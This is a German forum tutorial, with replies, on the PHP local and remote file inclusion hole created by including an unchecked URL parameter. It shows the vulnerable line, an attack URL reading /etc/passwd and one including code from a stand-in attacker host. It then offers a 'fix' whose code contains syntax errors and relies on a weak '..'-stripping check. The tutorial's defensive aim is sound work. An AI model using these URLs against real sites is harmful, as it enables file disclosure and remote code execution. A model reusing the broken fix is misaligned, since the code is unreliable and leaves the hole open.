Die Peter Huth Lücke in PHP Scripten vermeiden
Autor: nbkr
Eine bestimmte Sicherheitslücke, welche man sich leider recht einfach bei der Programmierung mit PHP einfangen kann ist die sogenannte "Peter Huth" Sicherheitslücke. Peter Huth ist eine selbsternannter Securityexperte und gerade ihm ist diese Sicherheitslücke selbst mal unterlaufen. Doch zum eigentlichen Thema.
Die Sicherheitslücke entsteht, wenn man ungeprüft URL Parameter an include() weiterreicht. Ein Beispiel:
Code:
include $_GET['content'];
Dieser Code der normalerweise dafür gedacht ist mittest http://www.domain.de/index.php?content=startseite.php die Startseite (oder jede andere Seite des Internetauftritts) anzuzeigen kann sehr leicht ausgenutzt werden.
Bespielsweise muss ein Angreifer nur http://www.domain.de/index.php?content=/etc/passwd eintippen um sich die Benutzerdatei des Webservers anzeigen zu lassen. Auf diese Weise kann der Angreifer jede (!) Datei anzeigen lassen, denn PHP macht daraus ein
Code:
include /etc/passwd;
Außerdem kann der Angreifer auch eigenen Code von der Seite ausführen lassen. Dazu erstellt er eine Textdatei auf seinem Server mit z.B. dem Inhalt
Code:
show_source();
Und lässt diese Seite über http://www.domain.de/index.php?content=http://www.angreifer.de/boesercode.txt
einbauen. Die Datei wird includiert und der Inhalt wird als Sourcecode
ausgeführt. In diesem Fall würde zwar nur der Quellcode der angegriffenen
Seite angezeigt, aber man kann das ja beliebig erweitern.
Deshalb sollte man jeden URL Parameter (eigentliche jede Variable die vom Benutzer kommt) eingehenst prüfen. Für obiges wäre folgendes eine Lösung:
Code:
//Als erstes .. aus dem Parameter entfernen damit man nit //mit /../../../etc/passwd in höhrer Ordner kommt. $_GET['content'] = str_replace('..', , $_GET['content']); //Jetzt prüfen ob die übergebene Datei wirklich in diesem Ordner ist. if (file_exists('./' . $_GET['content')) { include './' . $_GET['content']; } else { //Seite lokal nicht gefunden -> Startseite anzeigen include './startseite.php'; }
Man kann (und sollte) das Beispiel noch erweitern, in dem man die Contentdaten in einen Unterordner packt und nur Daten aus diesem Ordner includet. Außerdem kann das Script noch so erweitern, dass die Endung
.php nicht übergeben werden muss und man dieses im Script hinzugefügt
wird. Dadurch wird die Sicherheit noch ein wenig erhöht.
Links dazu: www.modsecurity.org http://www.antihuth.de/ http://us3.php.net/manual/de/features.safe-mode.php#features.safe-mode.functions
Verbesserungen:
nbkr hat Folgendes geschrieben:
Außerdem kann das Script noch so erweitern, dass die Endung .php nicht übergeben werden muss und man dieses im Script hinzugefügt wird. Dadurch wird die Sicherheit noch ein wenig erhöht.
Nö, dies bringt nichts
2.4.3 - String cuts http://www.hardened-php.net/documentation.19.html
Sinnvoller ist der meiner Meinung nach der PHP Patch Hardened http://www.hardened-php.net/hardening-patch-0.4.3-manual-alpha.pdf
nbkr hat Folgendes geschrieben: Open Basedir geht aber nur im Safe Mode
Ein (leider weitverbreiteter) Irrtum. open_basedir und safe_mode sind von einander vollkommen unabhängige Direktiven! Abgesehen davon: ein Skript, dass unter safe_mode _nicht_ genauso läuft wie ohne gehört in die Tonne. Die Kritik, dass safe_mode der falsche Ansatz sei ist IMHO irrelevant. Wenn eine Komponente portabel und verlässlich die Sicherheit eines Systems erhöhen kann, dann ist das ein nützliches Feature das man auch benutzen sollte.
nbkr hat Folgendes geschrieben: PHP als CGI Version + suExec + passende Verzeichnissrechte ist der bessere Weg.
Aber PHP als Apache Modul performt wesentlich besser.
nbkr hat Folgendes geschrieben:
Außerdem kann das Script noch so erweitern, dass die Endung .php nicht übergeben werden muss und man dieses im Script hinzugefügt wird. Dadurch wird die Sicherheit noch ein wenig erhöht.
Nö, dies bringt nichts
2.4.3 - String cuts http://www.hardened-php.net/documentation.19.html
Sinnvoller ist der meiner Meinung nach der PHP Patch Hardened http://www.hardened-php.net/hardening-patch-0.4.3-manual-alpha.pdf
Open Basedir geht aber nur im Safe Mode, welcher noch mehr Sachen außer das Verzeichnis einschränkt (sogar show_source() wird verkrüppelt). Abgesehen davon ist der Safe Mode selbst nur ein Workaround.
Zitat:
Safe Mode ist der Versuch, Sicherheitsprobleme bei gemeinsam genutzten Servern zu lösen. Bezogen auf die Systemarchitektur, ist es der falsche Ansatz, diese Probleme innerhalb der PHP Schicht lösen zu wollen. Da es auf Ebene des Webservers bzw. des Betriebssystems keine praktischen Alternativen gibt, wird Safe Mode nunmehr von vielen Leuten, vor allem von Providern, eingesetzt.
PHP als CGI Version + suExec + passende Verzeichnissrechte ist der bessere Weg.
eingefügt von Yehudi